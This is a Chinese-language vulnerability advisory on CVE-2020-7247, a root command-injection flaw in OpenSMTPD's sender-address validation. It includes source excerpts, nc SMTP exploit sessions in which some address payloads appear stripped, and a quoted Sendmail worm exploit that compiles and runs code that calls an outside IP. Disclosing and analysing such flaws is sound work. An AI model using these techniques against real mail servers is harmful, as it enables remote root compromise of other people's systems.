CVE-2020-7247:OpenSMTPD安全漏洞
研究人员在OpenBSD的邮件服务器OpenSMTPD中发现了一个安全漏洞。该漏洞从2018年5月开始就可以利用了,攻击者利用该漏洞可以以root权限执行任意shell命令:
· 在本地以OpenSMTPD默认配置执行,默认配置会监听loopback接口,并从localhost接收邮件;
· 在本地或者远程以OpenSMTPD未注释的默认配置执行,默认配置会监听所有的接口并接收所有外部邮件。
研究人员开发了一个简单的PoC,并在OpenBSD 6.6和Debian (Bullseye)测试版本进行了测试,研究人员认为其他版本和发布版本也可以被利用。
漏洞分析
研究人员分析发现漏洞的根源在于OpenSMTPD的smtp_mailaddr()函数,该函数负责验证发送者(MAIL FROM)和接收者(RCPT TO)的邮件地址:
------------------------------------------------------------------------------ 2189 static int 2190 smtp_mailaddr(struct mailaddr *maddr, char *line, int mailfrom, char **args, 2191 const char *domain) 2192 { .... 2218 if (!valid_localpart(maddr->user) || 2219 !valid_domainpart(maddr->domain)) { .... 2234 return (0); 2235 } 2236 2237 return (1); 2238 } ------------------------------------------------------------------------------
· 调用valid_domainpart()来验证邮箱地址的域名,该函数只接收IPv4和IPv6地址、字母数字、’.’、’-‘和’_’字符;
· 调用valid_localpart() 来验证邮箱地址的本地部分,该函数只接收字母数字、’.’ 和MAILADDR_ALLOWED字符(RFC 5322的白名单):
71 #define MAILADDR_ALLOWED "!#$%&'*/?^`{|}~+-=_"
在MAILADDR_ALLOWED的字符串中,同时位于MAILADDR_ESCAPE的部分之后会被mda_expand_token()转变成为’:’字符:
72 #define MAILADDR_ESCAPE "!#$%&'*?`{|}~"
smtp_mailaddr()的白名单和mda_expand_token()的逃逸对OpenSMTPD的安全性都是很基本的,可以防止危险字符串到达执行MDA命令的shell中:
execle("/bin/sh", "/bin/sh", "-c", mda_command, (char *)NULL, mda_environ);
Mail Delivery Agents (MDAs)负责传递邮件到本地接收者,比如OpenSMTPD的默认MDA方法是”mbox”,对应的MDA命令是:
asprintf(&dispatcher->u.local.command, "/usr/libexec/mail.local -f %%{mbox.from} %%{user.username}");
%{user.username} 是现有的本地用户名(接收者地址的本地部分),%{mbox.from}是发送者地址(发送者地址如果不在smtp_mailaddr()的白名单和mda_expand_token()的逃逸部分,就位于攻击者的完全控制之下)。
研究人员在smtp_mailaddr()函数中发现了一个漏洞——(CVE-2020-7247):
------------------------------------------------------------------------------ 2189 static int 2190 smtp_mailaddr(struct mailaddr *maddr, char *line, int mailfrom, char **args, 2191 const char *domain) 2192 { .... 2218 if (!valid_localpart(maddr->user) || 2219 !valid_domainpart(maddr->domain)) { .... 2229 if (maddr->domain[0] == '\0') { 2230 (void)strlcpy(maddr->domain, domain, 2231 sizeof(maddr->domain)); 2232 return (1); 2233 } 2234 return (0); 2235 } 2236 2237 return (1); 2238 } ------------------------------------------------------------------------------
如果地址的本地部分是无效的(2218行),如果域名的空的(2229行),然后smtp_mailaddr()会自动添加默认域名(2230行)并返回1(2232行),虽然应该返回的是0,因为地址的本地部分应该是无效的。
因此,攻击者可以传递不在MAILADDR_ALLOWED和 MAILADDR_ESCAPE中的危险字符到执行MDA命令的shell。比如,下面的本地SMTP会话就在OpenSMTPD的默认配置下以root执行”sleep 66″:
------------------------------------------------------------------------------ $ nc 127.0.0.1 25 220 obsd66.example.org ESMTP OpenSMTPD HELO professor.falken 250 obsd66.example.org Hello professor.falken [127.0.0.1], pleased to meet you MAIL FROM: 250 2.0.0 Ok RCPT TO:250 2.1.5 Destination address valid: Recipient ok DATA 354 Enter mail, end with "." on a line by itself How about a nice game of chess? . 250 2.0.0 e6330998 Message accepted for delivery QUIT 221 2.0.0 Bye ------------------------------------------------------------------------------
漏洞利用
但是通过发送者地址的本地部分执行任意shell命令的能力是有限的:
· 虽然OpenSMTPD比RFC 5321的限制要少一些,本地部分的最大部分应该不超过64个字符;
· MAILADDR_ESCAPE中的字符就会转成’:’字符。
为了克服这些限制,研究人员从https://spaf.cerias.purdue.edu/tech-reps/823.pdf处获得了灵感,其中通过以shell脚本的形式执行邮箱的主体部分来利用Sendmail的DEBUG漏洞:
------------------------------------------------------------------------------ debug mail from: rcpt to: <"|sed -e '1,/^$/'d | /bin/sh ; exit 0"> data cd /usr/tmp cat > x14481910.c <<'EOF' [text of vector program] EOF cc -o x14481910 x14481910.c;x14481910 128.32.134.16 32341 8712440; rm -f x14481910 x14481910.c . quit ------------------------------------------------------------------------------
事实上,MDA命令的标准输入是邮件自身:”sed”移除了header,”/bin/sh”执行了body部分。
研究人员不能重用该命令,但研究人员使用”read”来移除N header行,并将N个注释行前加”NOP slide”到邮件的body部分。比如,下面的远程SMTP session以root的形式在OpenSMTP的未注释的默认配置中执行了邮件的body:
------------------------------------------------------------------------------ $ nc 192.168.56.143 25 220 obsd66.example.org ESMTP OpenSMTPD HELO professor.falken 250 obsd66.example.org Hello professor.falken [192.168.56.1], pleased to meet you MAIL FROM: 250 2.0.0 Ok RCPT TO:250 2.1.5 Destination address valid: Recipient ok DATA 354 Enter mail, end with "." on a line by itself #0 #1 #2 #3 #4 #5 #6 #7 #8 #9 #a #b #c #d for i in W O P R; do echo -n "($i) " && id || break done >> /root/x."`id -u`"."$$" . 250 2.0.0 4cdd24df Message accepted for delivery QUIT 221 2.0.0 Bye -----------------------------------------------------------------------------